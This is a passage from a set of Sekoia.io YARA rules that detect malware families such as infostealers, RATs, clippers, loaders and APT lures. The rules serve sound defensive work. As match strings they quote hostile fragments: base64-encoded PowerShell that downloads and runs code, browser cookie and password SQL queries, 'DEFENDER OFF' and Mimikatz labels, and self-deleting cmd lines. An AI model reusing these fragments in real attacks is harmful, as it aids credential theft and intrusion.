		$app09 = "8pecxstudios\\Cyberfox" wide
		$app10 = "NETGATE Technologies\\BlackHaw" wide
		$app11 = "Moonchild Productions\\Pale Moon" wide
	condition:
		uint16( 0 ) == 0x5A4D and 6 of ( $str* ) and all of ( $dll* ) and 10 of ( $app* )
}

rule SEKOIA_Apt_Unk_Batcopier_Strings : FILE
{
	meta:
		description = "Detects BatCopier variant"
		author = "Sekoia.io"
		id = "eb76bbd0-a722-4fec-a4a7-c48c70a1880b"
		date = "2024-09-06"
		modified = "2024-12-19"
		reference = "https://www.seqrite.com/blog/operation-oxidovy-sophisticated-malware-campaign-targets-czech-officials-using-nato-themed-decoys/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_unk_batcopier_strings.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "0007d6d00d5b8db048456bb566ef9ed4516c4e1b392cc73c40396785ba885f55"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "@echo off"
		$ = "echo F|xcopy"
		$ = "attrib +r +s +h"
	condition:
		all of them and filesize < 1KB
}

rule SEKOIA_Backdoor_Win_Spacecolon : FILE
{
	meta:
		description = "Finds Spacecolon samples based on specific strings (ScHackTool component)"
		author = "Sekoia.io"
		id = "ae09f0e2-e913-44d5-abe1-715170368cc8"
		date = "2023-08-25"
		modified = "2024-12-19"
		reference = "https://www.welivesecurity.com/en/eset-research/scarabs-colon-izing-vulnerable-servers/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/backdoor_win_spacecolon.yar#L1-L39"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "1251df19c521e9ee9da307d56eea265265f2bee4a8e7eec099e4ebfb4e2bd7a2"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "Before Work" ascii
		$str02 = "DEFENDER OFF" ascii
		$str03 = "Stop Service" ascii
		$str04 = "Kill All (Default)" ascii
		$str05 = "Keyboard EN" ascii
		$str06 = "After Work" ascii
		$str07 = "Del Shadow Log" ascii
		$str08 = "Kill OSK" ascii
		$str09 = "PWGEN" ascii
		$str10 = "Character :" ascii
		$str11 = "PW GEN" ascii
		$str12 = "Cobian UI Pass" ascii
		$str13 = "Credssp" ascii
		$str14 = "Username :" ascii
		$str15 = "Password :" ascii
		$str16 = "TSpeedButton" ascii
		$str17 = "Ab1q2w3e!" ascii
		$str18 = "PC Details" ascii
		$str19 = "Mimi Dump" ascii
		$str20 = "MIMI Dump" ascii
		$str21 = "powershell -ExecutionPolicy Bypass -File \"" wide
		$str22 = "lastlog.txt" wide
		$str23 = "$AdminGroupName = (Get-WmiObject -Class Win32_Group -Filter 'LocalAccount = True AND SID = \"S-1-5-32-544\"').Name" wide
		$str24 = "net localgroup $AdminGroupName " wide
	condition:
		uint16( 0 ) == 0x5a4d and 17 of them
}

rule SEKOIA_Apt_Mustangpanda_Windows_Shellcode_Decryptionalgorithm : FILE
{
	meta:
		description = "Decryption routine for Shellcode of MustangPanda"
		author = "Sekoia.io"
		id = "c9873a5f-97a6-477f-a1a0-650441c73444"
		date = "2022-12-05"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_mustangpanda_windows_shellcode_decryptionalgorithm.yar#L1-L28"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "a2ad3bd4dcbee3e23762b674ee8b6717e7ece712b0128145518bfa5d2e4bd66a"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$chunk_1 = {
        7E ??
        8B 55 ??
        53
        56
        8B 75 ??
        57
        8B 7D ??
        4F
        8D A4 24 ?? ?? ?? ??
        8A 1C 11
        30 1C 30
        }
	condition:
		filesize < 8MB and all of them
}

rule SEKOIA_Implant_Mul_Alchimist : FILE
{
	meta:
		description = "Detect the Alchimist implant based on strings"
		author = "Sekoia.io"
		id = "66330cc6-a7da-4717-9977-0cede48f46f5"
		date = "2022-10-18"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/implant_mul_alchimist.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "d4a5338c502b145a1d7ad9f35779e24d66ee2d11bf760d498aab39e2c62fbeb4"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "POST /users/loginpage.html HTTP/1.1" ascii
		$str02 = "pm3/apps/Insekt/main.go" ascii
		$str03 = "generate new insekt err" ascii
		$str04 = "[SHELLCODE][filesize]:[scan]" ascii
		$str05 = "\\Device\\NamedPipe\\cygwinbad" ascii
		$str06 = "pm3/utils.GetTmpDir" ascii
		$str07 = "os/exec.Command" ascii
	condition:
		( uint16( 0 ) == 0x5A4D or uint32( 0 ) == 0x464C457F ) and 5 of them
}

rule SEKOIA_Rat_Win_Xeno_Rat : FILE
{
	meta:
		description = "Xeno RAT is an open-source RAT, used by Kimsuky in January 2024"
		author = "Sekoia.io"
		id = "4be1ff07-8180-42a8-9f51-b5e17bf23442"
		date = "2024-02-09"
		modified = "2024-12-19"
		reference = "https://github.com/moom825/xeno-rat/tree/main/xeno%20rat%20client"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rat_win_xeno_rat.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "252dd8b236ce3570b6df504d307d88ee7431c0eee361813f1d4f8a66ef1db703"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "Xeno-manager" wide
		$ = "moom825"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule SEKOIA_Tool_Win_Sharpshares : FILE
{
	meta:
		description = "Finds sharpshares EXE based on strings"
		author = "Sekoia.io"
		id = "ef90d573-12f8-4216-9a9e-96e7d1e841d0"
		date = "2024-06-10"
		modified = "2024-12-19"
		reference = "https://github.com/mitchmoser/SharpShares/releases"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/tool_win_sharpshares.yar#L1-L26"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "6aa96d7c24638451bde98497cc7c844c87612d81cc7826113729c80bd5180442"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "<GetAllShares>b__0" ascii
		$str02 = "<SearchLDAP>b__0_0" ascii
		$str03 = "get_AccessControlType" ascii
		$str04 = "get_IdentityReference" ascii
		$str05 = "get_PropertiesToLoad" ascii
		$str06 = "SharpShares\\obj\\Release\\SharpShares.pdb" ascii
		$str07 = "/filter:SYSVOL,NETLOGON,IPC$,PRINT$" wide
		$str08 = "/threads:50 /ldap:servers" wide
		$str09 = "SharpShares.exe" ascii wide
		$str10 = "[+] LDAP Search Results:" wide
		$str11 = "[+] Finished Enumerating Shares" wide
	condition:
		uint16( 0 ) == 0x5A4D and 6 of them
}

rule SEKOIA_Loader_Win_Fudloader : FILE
{
	meta:
		description = "Finds FUD-Loader samples based on specific strings"
		author = "Sekoia.io"
		id = "4c2ac614-89af-4449-9fd2-9f935e4c27b8"
		date = "2023-09-25"
		modified = "2024-12-19"
		reference = "https://github.com/0day2/FUD-Loader/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_win_fudloader.yar#L1-L24"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "bf19169963cfcbcf41a2dc5f9447738e957878972590b2a8d310eed1c54f3676"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "set_WindowStyle" ascii
		$str02 = "set_FileName" ascii
		$str03 = "get_StartInfo" ascii
		$str04 = "GetRandomFileName" ascii
		$str05 = "DownloadFile" ascii
		$str06 = "GetTempPath" ascii
		$str07 = "ProcessStartInfo" ascii
		$str08 = "System.Diagnostics" ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them and filesize < 10KB
}

rule SEKOIA_Generic_Sharpshooter_Payload_8 : FILE
{
	meta:
		description = "Detects payload created by SharpShooter"
		author = "Sekoia.io"
		id = "e28a1cd3-f7b6-4a55-8229-484e0bbeb7cb"
		date = "2023-02-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_sharpshooter_payload_8.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "71e4eb41968818e1dd484a259af9eec30a517423b00da75ce21773bf695cbc7d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "Private Function decodeHex(hex)"
		$ = "Dim serialized_obj"
		$ = "decodeHex = EL.NodeTypedValue"
		$ = "d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)"
	condition:
		all of them and filesize < 2MB
}

rule SEKOIA_Apt_Muddywater_Manifestation_Backdoor : FILE
{
	meta:
		description = "Detects Muddys manifestation JScript backdoor"
		author = "Sekoia.io"
		id = "998fb0ab-73ed-41e5-b87e-f987b8f05a8c"
		date = "2022-01-13"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_muddywater_manifestation_backdoor.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "477ed53ccd337dd21ab84b7d36b995a653d0aad6676e02cbe5e9f581bface253"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "/^\\s+|\\s+$/g" ascii
		$l2 = "while (1) {" ascii
		$l3 = { 57 53 63 72 69 70 74 2e 73 6c 65 65 70 28 ?? ?? 20 2a 20 31 30 30 30 29 3b }
		$s4 = ")+ key , false)" ascii
		$s5 = ")+ data , false)" ascii
	condition:
		filesize > 1000 and ( $l3 in ( @l2 .. @l2 + 300 ) ) and ( any of ( $s* ) )
}

rule SEKOIA_Infostealer_Win_Leaf : FILE
{
	meta:
		description = "Find samples of Leaf Stealer based on specific strings"
		author = "Sekoia.io"
		id = "17d8e384-1092-4f27-b4f7-c0c0f7efcaa3"
		date = "2023-02-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_leaf.yar#L1-L32"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "f8c0ff694c9f7a02613000d85a40f6b400dcca60711e589f7ccd3546f571aea6"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "Leaf $tealer" ascii
		$str02 = "KiwiFolder" ascii
		$str03 = "key_wordsFiles" ascii
		$str04 = "**[Click to copy](https://superfurrycdn.nl/copy/" ascii
		$str05 = "Early_Verified_Bot_Developer" ascii
		$str06 = "getCookie.<locals>.<genexpr>" ascii
		$str07 = "C:\\Program Files (x86)\\Steam\\config" ascii
		$str08 = "[crunchyroll](https://crunchyroll.com)" ascii
		$str09 = "-m pip install" ascii
		$str10 = "taskkill /im " ascii
		$str11 = "/loginusers.vdf" ascii
		$str12 = "mot_de_passe" ascii
		$str13 = "Interesting files found on user PC" ascii
		$str14 = "NationsGlory/Local Storage/leveldb" ascii
		$str15 = "wppassw.txt" ascii
		$str16 = "wpcook.txt" ascii
		$str17 = "ProcesName < 1 >" ascii
		$str18 = "Metamask_" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 10 of them
}

rule SEKOIA_Infostealer_Win_Bebra : FILE
{
	meta:
		description = "Find samples of Bebra Stealer based on specific strings"
		author = "Sekoia.io"
		id = "e84d04a7-1232-47e5-b797-ac8e56066796"
		date = "2023-02-06"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_bebra.yar#L1-L26"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "7841746c54c53dbcafdf3f357c7a84b90fe3b089e07f30dea15ef6f7f15b0f00"
		logic_hash = "588fa3091f0dc565123c60d59479202d036e092499eca6204d420395ddc332f9"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "https://studio.youtube.com/youtubei/v1/att/esr?alt=json&key=" ascii
		$str02 = "https://www.youtube.com/getAccountSwitcher" ascii
		$str03 = "\"challenge\":\"" ascii
		$str04 = "\"botguardResponse\":\"" ascii
		$str05 = "\"continueUrl\":\"https://studio.youtube.com/reauth\"," ascii
		$str06 = "\"flow\":\"REAUTH_FLOW_YT_STUDIO_COLD_LOAD\"," ascii
		$str07 = "\"xguardClientStatus\":0" ascii
		$str08 = "SAPISIDHASH" ascii
		$str09 = "system32\\cmd.exe /C choice /C Y /N /D Y /T 0 &Del" ascii
		$str10 = "/new.php" ascii
		$str11 = "github.com/mattn/go-sqlite3" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 9 of them
}

rule SEKOIA_Clipper_Win_Cryptoclippy : FILE
{
	meta:
		description = "Finds CryptoClippy samples"
		author = "Sekoia.io"
		id = "eaa98a8e-e29e-43a4-8b2d-2137d33d4116"
		date = "2023-04-11"
		modified = "2024-12-19"
		reference = "https://unit42.paloaltonetworks.com/crypto-clipper-targets-portuguese-speakers/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/clipper_win_cryptoclippy.yar#L1-L25"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "057cb5bb957c2338a50c05cfa0177f75bcf263281ddcc5f365298bccafc64cb4"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "C:\\mbedtls\\library\\" ascii
		$str02 = "udp://8.8.8.8:53" ascii
		$str03 = "Upgrade: websocket" ascii
		$str04 = "%s\\%s.lnk" ascii
		$str05 = "%s\\%s.ps1" ascii
		$str06 = "%s\\%s.bat" ascii
		$str07 = "set PSExecutionPolicyPreference=Unrestricted" ascii
		$str08 = "schtasks /delete /tn \"%ls\" /f" ascii
		$str09 = "SetClipboardData" ascii
		$str10 = "SetWinEventHook" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 8 of them
}

rule SEKOIA_Loader_Amadey_Clipper_Plugin : FILE
{
	meta:
		description = "Finds Amadey's clipper plugin based on characteristic strings"
		author = "Sekoia.io"
		id = "487b6657-8834-45ee-8fd4-03df9c0dd7be"
		date = "2023-05-16"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_amadey_clipper_plugin.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "6f5a2fa9c687f0fb2423ca97540d0173551dd04b31d092e4d47d6d7d22dfb965"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "CLIPPERDLL.dll" ascii
		$str02 = "??4CClipperDLL@@QAEAAV0@$$QAV0@@Z" ascii
		$str03 = "??4CClipperDLL@@QAEAAV0@ABV0@@Z" ascii
		$str04 = "Main" ascii fullword
		$str05 = "OpenClipboard" ascii
		$str06 = "GetClipboardData" ascii
		$str07 = "D:\\Mktmp\\Amadey\\ClipperDLL\\Release\\CLIPPERDLL.pdb" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 5 of them
}

rule SEKOIA_Infostealer_Win_Ginzostealer_Str : FILE
{
	meta:
		description = "Finds samples of the Ginzo Stealer"
		author = "Sekoia.io"
		id = "ef87e94b-9c53-44b4-b8a1-87d371a6d2cb"
		date = "2022-04-21"
		modified = "2024-12-19"
		reference = "https://blog.talosintelligence.com/2022/04/haskers-gang-zingostealer.html"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_ginzostealer_str.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "b1c811a13cf0f632ac839b6a6de050fc59ffe3ed0704545feff02e13521ea53f"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "Ginzo.pdb" ascii
		$str1 = "Ginzo.exe" wide
		$str2 = "SELECT creation_utc,top_frame_site_key,host_key,name,value,encrypted_value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,samesite,source_scheme,source_port,is_same_party FROM cookies" wide
		$str3 = "SELECT origin_url,action_url,username_element,username_value,password_element,password_value,submit_element,signon_realm,date_created,blacklisted_by_user,scheme,password_type,times_used,form_data,display_name,icon_url,federation_url,skip_zero_click,generation_upload_status,possible_username_pairs,id,date_last_used,moving_blocked_for,date_password_modified FROM logins" wide
		$str4 = "SELECT id,originAttributes,name,value,host,path,expiry,lastAccessed,creationTime,isSecure,isHttpOnly,inBrowserElement,sameSite,rawSameSite,schemeMap FROM moz_cookies" wide
	condition:
		uint16( 0 ) == 0x5A4D and 4 of them
}

rule SEKOIA_Bot_Lin_Lucifer_Strings : FILE
{
	meta:
		description = "Catch Lucifer DDoS - lin version - malware based on strings"
		author = "Sekoia.io"
		id = "c341b6d0-bc22-4a85-aebb-ed323487f524"
		date = "2024-09-24"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/bot_lin_lucifer_strings.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "23276c627d27f36c1ec15b1779835b921652a8fcff898041f1920902262faf41"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "DealwithDDoS" ascii
		$s2 = "DecryptData" ascii
		$s3 = "They say I'm rude. I'm not rude at all, but I still want to say, fuck your mother" ascii
		$s4 = "stratum+tcp://" ascii
		$s5 = "gethostip" ascii
		$s6 = "GetmyName" ascii
	condition:
		uint32( 0 ) == 0x464c457f and all of them
}


rule SEKOIA_Generic_Sharpshooter_Payload_6 : FILE
{
	meta:
		description = "Detects payload created by SharpShooter"
		author = "Sekoia.io"
		id = "53506a3e-b0d8-4a1e-88d9-485e829f25cb"
		date = "2023-02-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_sharpshooter_payload_6.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "38919408d2d0a9f51822302f4f821bf5776f119bf0d1b54b71b1040c7ad59da5"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "function ${rc4Function}(r,o){for("
		$ = "function ${b64AndRC4Function}(r,o){var"
		$ = "Real-Time Scanning: No threats detected"
		$ = "Please wait while your file is being downloaded..."
	condition:
		3 of them and filesize < 2MB
}

rule SEKOIA_Apt_Susp_Apt28_Uac0063_Malicious_Doc : FILE
{
	meta:
		description = "Detects some suspected APT28 document"
		author = "Sekoia.io"
		id = "2b9d597a-a6cd-49df-8938-7103342a1d06"
		date = "2024-07-25"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_susp_apt28_uac0063_malicious_doc.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "93322be0785556e627d2b09832c18e39c115e6a6fbff64b1e590e1ddcf8f6a43"
		logic_hash = "27aeadbb76dd4e670a85e8fcd1e885b69845537dd937aacc1808902e75008848"
		score = 65
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "Sub pop() : : End Sub" ascii fullword
		$ = "%localappdata%\\Temp" ascii fullword
		$ = "rthedbv" ascii fullword
	condition:
		2 of them and filesize < 1MB
}

rule SEKOIA_Rootkit_Win_Purplefox_360_Tct : FILE
{
	meta:
		description = "Detects Purple Fox payloads used during end-2021 and 2022 campaigns based on characteristics shared by TrendMicro details."
		author = "Sekoia.io"
		id = "e992d574-6a44-4bea-97e2-6d5579ce8d01"
		date = "2022-03-28"
		modified = "2024-12-19"
		reference = "https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rootkit_win_purplefox_360_tct.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "6b4ca65bc05ea1e8036140a62b94c8b75afe30a5e37cae9a5ae2a9c828cd6275"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$rar = "Rar!"
		$str0 = "svchost.txt"
		$str1 = "rundll3222.exe"
		$str2 = "ojbkcg.exe"
	condition:
		$rar at 0 and all of ( $str* ) and filesize > 800KB and filesize < 2800KB
}

rule SEKOIA_Win_Malware_Statc_Downloader : FILE
{
	meta:
		description = "Statc Downloader powershell script. Base64 powershell"
		author = "Sekoia.io"
		id = "4a2e9607-635b-4cd8-ba27-d70e0c76fd45"
		date = "2023-08-09"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/win_malware_statc_downloader.yar#L1-L28"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "173ea5af2e71b6ed70abd52a5d2f4de040393a6d2ff4978bbb6e73d96742b010"
		logic_hash = "a99970a6ace88234e5e2bda009f8d87e6a0dc8c1a4655cca128e30292a21502c"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$powershell = "powershell.exe"
		$a1 = "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAGYAaQBsAGUAKAAiAGgAdAB0AHAAcwA6AC8A"
		$a2 = "gATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwAHMAOgAvA"
		$a3 = "oAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACIAaAB0AHQAcABzADoALw"
		$b1 = "aQBuAHYAbwBrAGUALQBlAHgAcAByAGUAcwBzAGkAbwBuACAAIgAkAGUAbgB2ADoAVABFAE0AUABc"
		$b2 = "kAbgB2AG8AawBlAC0AZQB4AHAAcgBlAHMAcwBpAG8AbgAgACIAJABlAG4AdgA6AFQARQBNAFAAX"
		$b3 = "pAG4AdgBvAGsAZQAtAGUAeABwAHIAZQBzAHMAaQBvAG4AIAAiACQAZQBuAHYAOgBUAEUATQBQAF"
		$c1 = "MQAgADEAIgA7ACAAIgBPAEsAIgA7"
		$c2 = "EAIAAxACIAOwAgACIATwBLACIAO"
		$c3 = "xACAAMQAiADsAIAAiAE8ASwAiAD"
	condition:
		$powershell at 0 and 1 of ( $a* ) and 1 of ( $b* ) and 1 of ( $c* ) and filesize < 1MB
}



rule SEKOIA_Rat_Win_Asbit : FILE
{
	meta:
		description = "Finds Asbit samples based on characteristic strings"
		author = "Sekoia.io"
		id = "b2d60eff-3dc8-4857-a0ea-d4fcd34c40bc"
		date = "2022-09-19"
		modified = "2024-12-19"
		reference = "https://blogs.juniper.net/en-us/threat-research/asbit-an-emerging-remote-desktop-trojan"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rat_win_asbit.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "1362ebe89a4d2645eb687d92510daa355a16f05da7f5513817f8439f29722827"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "/build?project=libexpat&_={0}" wide
		$str02 = "/resolve?name={0}&short=true&_={1}" wide
		$str03 = "/c ping 127.0.0.1 & del {0} /q & del /a:H {0} /q" wide
	condition:
		uint16( 0 ) == 0x5A4D and 1 of them
}


rule SEKOIA_Generic_Sharpshooter_Payload_12 : FILE
{
	meta:
		description = "Detects payload created by SharpShooter"
		author = "Sekoia.io"
		id = "b69186cf-9825-4d90-be20-7caa9e7de61f"
		date = "2023-02-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_sharpshooter_payload_12.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "5c9692337c0dd533c7e49bd3850feedad93b256bc2fba45af6121f50ad83f4cc"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "ms.Write(ba, 0, (length / 4) * 3);"
		$ = "var serialized_obj = "
		$ = "d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);"
		$ = "var sc ="
	condition:
		all of them and filesize < 2MB
}




rule SEKOIA_Trojan_Win_Grandoreiro : FILE
{
	meta:
		description = "Finds Grandorerio samples based on the specific strings"
		author = "Sekoia.io"
		id = "e48c86a1-e34f-4945-817a-9c85198a77bb"
		date = "2022-08-24"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/trojan_win_grandoreiro.yar#L1-L26"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "7424478b0cdfe922c2f98bf42e505f22fb0700cfeb54912630ce404c59b05c5e"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$mut = "ZTP@11" wide
		$reg01 = "Software\\Embarcadero\\Locales" wide
		$reg02 = "Software\\CodeGear\\Locales" wide
		$reg03 = "Software\\Borland\\Locales" wide
		$reg04 = "Software\\Borland\\Delphi\\Locale" wide
		$reg05 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\FontSubstitutes" wide
		$str01 = "SELECT * FROM AntiVirusProduct" wide
		$str02 = "GetTickCount64" wide
		$str03 = "C:\\Program Files (x86)\\Embarcadero\\Studio\\20.0\\lib\\Clever Internet Suite" wide
		$str04 = "{43826D1E-E718-42EE-BC55-A1E261C37BFE}" wide
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule SEKOIA_Malware_Tinyshell_Strings : FILE
{
	meta:
